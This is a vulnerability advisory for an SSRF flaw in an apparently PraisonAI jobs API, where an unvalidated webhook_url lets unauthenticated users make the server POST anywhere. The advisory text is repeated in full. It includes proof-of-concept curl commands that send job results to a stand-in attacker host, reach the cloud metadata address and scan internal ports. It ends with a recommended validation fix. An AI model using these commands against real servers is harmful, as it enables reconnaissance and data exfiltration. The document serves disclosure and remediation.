CVE-2026-40114

## Summary The `/api/v1/runs` endpoint accepts an arbitrary `webhook_url` in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using `httpx.AsyncClient`. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services. ## Details The vulnerability exists across the full request lifecycle: **1. User input accepted without validation** — `models.py:32`: ```python class JobSubmitRequest(BaseModel): webhook_url: Optional[str] = Field(None, description="URL to POST results when complete") ``` The field is a plain `str` with no URL validation — no scheme restriction, no host filtering. **2. Stored directly on the Job object** — `router.py:80-86`: ```python job = Job( prompt=body.prompt, ... webhook_url=body.webhook_url, ... ) ``` **3. Used in an outbound HTTP request** — `executor.py:385-415`: ```python async def _send_webhook(self, job: Job): if not job.webhook_url: return try: import httpx payload = { "job_id": job.id, "status": job.status.value, "result": job.result if job.status == JobStatus.SUCCEEDED else None, "error": job.error if job.status == JobStatus.FAILED else None, ... } async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( job.webhook_url, # <-- attacker-controlled URL json=payload, headers={"Content-Type": "application/json"} ) ``` **4. Triggered on both success and failure paths** — `executor.py:180-205`: ```python # Line 180-181: on success if job.webhook_url: await self._send_webhook(job) # Line 204-205: on failure if job.webhook_url: await self._send_webhook(job) ``` **5. No authentication on the Jobs API server** — `server.py:82-101`: The `create_app()` function creates a FastAPI app with CORS allowing all origins (`["*"]`) and no authentication middleware. The jobs router is mounted directly with no auth dependencies. There is zero URL validation anywhere in the chain: no scheme check (allows `http://`, `https://`, and any scheme httpx supports), no private/internal IP filtering, and no allowlist. ## PoC **Step 1: Start a listener to observe SSRF requests** ```bash # In a separate terminal, start a simple HTTP listener python3 -c " from http.server import HTTPServer, BaseHTTPRequestHandler import json class Handler(BaseHTTPRequestHandler): def do_POST(self): length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(length) print(f'Received POST from PraisonAI server:') print(json.dumps(json.loads(body), indent=2)) self.send_response(200) self.end_headers() HTTPServer(('0.0.0.0', 9999), Handler).serve_forever() " ``` **Step 2: Submit a job with a malicious webhook_url** ```bash # Point webhook to attacker-controlled server curl -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d '{ "prompt": "say hello", "webhook_url": "http://attacker.example.com:9999/steal" }' ``` **Step 3: Target internal services (cloud metadata)** ```bash # Attempt to reach AWS metadata service curl -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d '{ "prompt": "say hello", "webhook_url": "http://169.254.169.254/latest/meta-data/" }' ``` **Step 4: Internal network port scanning** ```bash # Scan internal services by observing response timing for port in 80 443 5432 6379 8080 9200; do curl -s -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d "{ \"prompt\": \"say hello\", \"webhook_url\": \"http://10.0.0.1:${port}/\" }" done ``` When each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL. ## Impact 1. **SSRF to internal services**: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible. 2. **Cloud metadata access**: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (`169.254.169.254`, `metadata.google.internal`), potentially triggering actions or leaking information depending on the metadata service's POST handling. 3. **Internal network reconnaissance**: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences and error patterns in job logs. 4. **Data exfiltration**: The webhook payload includes the full job result (agent output), which may contain sensitive data processed by the agent. By pointing the webhook to an attacker-controlled server, this data is exfiltrated. 5. **No authentication barrier**: The Jobs API server has no authentication by default, meaning any network-reachable attacker can exploit this without credentials. ## Recommended Fix Add URL validation to restrict webhook URLs to safe destinations. In `models.py`, add a Pydantic validator: ```python from pydantic import BaseModel, Field, field_validator from urllib.parse import urlparse import ipaddress class JobSubmitRequest(BaseModel): webhook_url: Optional[str] = Field(None, description="URL to POST results when complete") @field_validator("webhook_url") @classmethod def validate_webhook_url(cls, v: Optional[str]) -> Optional[str]: if v is None: return v parsed = urlparse(v) # Only allow http and https schemes if parsed.scheme not in ("http", "https"): raise ValueError("webhook_url must use http or https scheme") # Block private/internal IP ranges hostname = parsed.hostname if not hostname: raise ValueError("webhook_url must have a valid hostname") try: ip = ipaddress.ip_address(hostname) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: raise ValueError("webhook_url must not point to private/internal addresses") except ValueError as e: if "must not point" in str(e): raise # hostname is not an IP — resolve and check pass return v ``` Additionally, in `executor.py`, add DNS resolution validation before making the request to prevent DNS rebinding: ```python async def _send_webhook(self, job: Job): if not job.webhook_url: return # Validate resolved IP is not private (prevent DNS rebinding) from urllib.parse import urlparse import socket, ipaddress parsed = urlparse(job.webhook_url) try: resolved_ip = socket.getaddrinfo(parsed.hostname, parsed.port or 443)[0][4][0] ip = ipaddress.ip_address(resolved_ip) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: logger.warning(f"Webhook blocked for {job.id}: resolved to private IP {resolved_ip}") return except (socket.gaierror, ValueError): logger.warning(f"Webhook blocked for {job.id}: could not resolve {parsed.hostname}") return # ... proceed with httpx.AsyncClient.post() ... ```

## Summary The `/api/v1/runs` endpoint accepts an arbitrary `webhook_url` in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using `httpx.AsyncClient`. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services. ## Details The vulnerability exists across the full request lifecycle: **1. User input accepted without validation** — `models.py:32`: ```python class JobSubmitRequest(BaseModel): webhook_url: Optional[str] = Field(None, description="URL to POST results when complete") ``` The field is a plain `str` with no URL validation — no scheme restriction, no host filtering. **2. Stored directly on the Job object** — `router.py:80-86`: ```python job = Job( prompt=body.prompt, ... webhook_url=body.webhook_url, ... ) ``` **3. Used in an outbound HTTP request** — `executor.py:385-415`: ```python async def _send_webhook(self, job: Job): if not job.webhook_url: return try: import httpx payload = { "job_id": job.id, "status": job.status.value, "result": job.result if job.status == JobStatus.SUCCEEDED else None, "error": job.error if job.status == JobStatus.FAILED else None, ... } async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( job.webhook_url, # <-- attacker-controlled URL json=payload, headers={"Content-Type": "application/json"} ) ``` **4. Triggered on both success and failure paths** — `executor.py:180-205`: ```python # Line 180-181: on success if job.webhook_url: await self._send_webhook(job) # Line 204-205: on failure if job.webhook_url: await self._send_webhook(job) ``` **5. No authentication on the Jobs API server** — `server.py:82-101`: The `create_app()` function creates a FastAPI app with CORS allowing all origins (`["*"]`) and no authentication middleware. The jobs router is mounted directly with no auth dependencies. There is zero URL validation anywhere in the chain: no scheme check (allows `http://`, `https://`, and any scheme httpx supports), no private/internal IP filtering, and no allowlist. ## PoC **Step 1: Start a listener to observe SSRF requests** ```bash # In a separate terminal, start a simple HTTP listener python3 -c " from http.server import HTTPServer, BaseHTTPRequestHandler import json class Handler(BaseHTTPRequestHandler): def do_POST(self): length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(length) print(f'Received POST from PraisonAI server:') print(json.dumps(json.loads(body), indent=2)) self.send_response(200) self.end_headers() HTTPServer(('0.0.0.0', 9999), Handler).serve_forever() " ``` **Step 2: Submit a job with a malicious webhook_url** ```bash # Point webhook to attacker-controlled server curl -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d '{ "prompt": "say hello", "webhook_url": "http://attacker.example.com:9999/steal" }' ``` **Step 3: Target internal services (cloud metadata)** ```bash # Attempt to reach AWS metadata service curl -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d '{ "prompt": "say hello", "webhook_url": "http://169.254.169.254/latest/meta-data/" }' ``` **Step 4: Internal network port scanning** ```bash # Scan internal services by observing response timing for port in 80 443 5432 6379 8080 9200; do curl -s -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d "{ \"prompt\": \"say hello\", \"webhook_url\": \"http://10.0.0.1:${port}/\" }" done ``` When each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL. ## Impact 1. **SSRF to internal services**: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible. 2. **Cloud metadata access**: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (`169.254.169.254`, `metadata.google.internal`), potentially triggering actions or leaking information depending on the metadata service's POST handling. 3. **Internal network reconnaissance**: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences and error patterns in job logs. 4. **Data exfiltration**: The webhook payload includes the full job result (agent output), which may contain sensitive data processed by the agent. By pointing the webhook to an attacker-controlled server, this data is exfiltrated. 5. **No authentication barrier**: The Jobs API server has no authentication by default, meaning any network-reachable attacker can exploit this without credentials. ## Recommended Fix Add URL validation to restrict webhook URLs to safe destinations. In `models.py`, add a Pydantic validator: ```python from pydantic import BaseModel, Field, field_validator from urllib.parse import urlparse import ipaddress class JobSubmitRequest(BaseModel): webhook_url: Optional[str] = Field(None, description="URL to POST results when complete") @field_validator("webhook_url") @classmethod def validate_webhook_url(cls, v: Optional[str]) -> Optional[str]: if v is None: return v parsed = urlparse(v) # Only allow http and https schemes if parsed.scheme not in ("http", "https"): raise ValueError("webhook_url must use http or https scheme") # Block private/internal IP ranges hostname = parsed.hostname if not hostname: raise ValueError("webhook_url must have a valid hostname") try: ip = ipaddress.ip_address(hostname) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: raise ValueError("webhook_url must not point to private/internal addresses") except ValueError as e: if "must not point" in str(e): raise # hostname is not an IP — resolve and check pass return v ``` Additionally, in `executor.py`, add DNS resolution validation before making the request to prevent DNS rebinding: ```python async def _send_webhook(self, job: Job): if not job.webhook_url: return # Validate resolved IP is not private (prevent DNS rebinding) from urllib.parse import urlparse import socket, ipaddress parsed = urlparse(job.webhook_url) try: resolved_ip = socket.getaddrinfo(parsed.hostname, parsed.port or 443)[0][4][0] ip = ipaddress.ip_address(resolved_ip) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: logger.warning(f"Webhook blocked for {job.id}: resolved to private IP {resolved_ip}") return except (socket.gaierror, ValueError): logger.warning(f"Webhook blocked for {job.id}: could not resolve {parsed.hostname}") return # ... proceed with httpx.AsyncClient.post() ... ```